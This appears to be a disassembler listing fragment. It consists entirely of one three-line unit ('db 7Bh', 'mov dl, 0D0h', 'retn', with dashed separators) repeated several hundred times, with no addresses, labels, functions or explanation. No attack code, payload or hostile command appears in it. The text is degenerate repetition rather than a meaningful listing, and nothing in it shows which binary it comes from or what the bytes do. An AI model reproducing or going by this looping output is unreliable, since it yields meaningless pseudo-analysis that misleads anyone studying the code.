--------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn ; --------------------------------------------------------------------------- db 7Bh ; --------------------------------------------------------------------------- mov dl, 0D0h retn 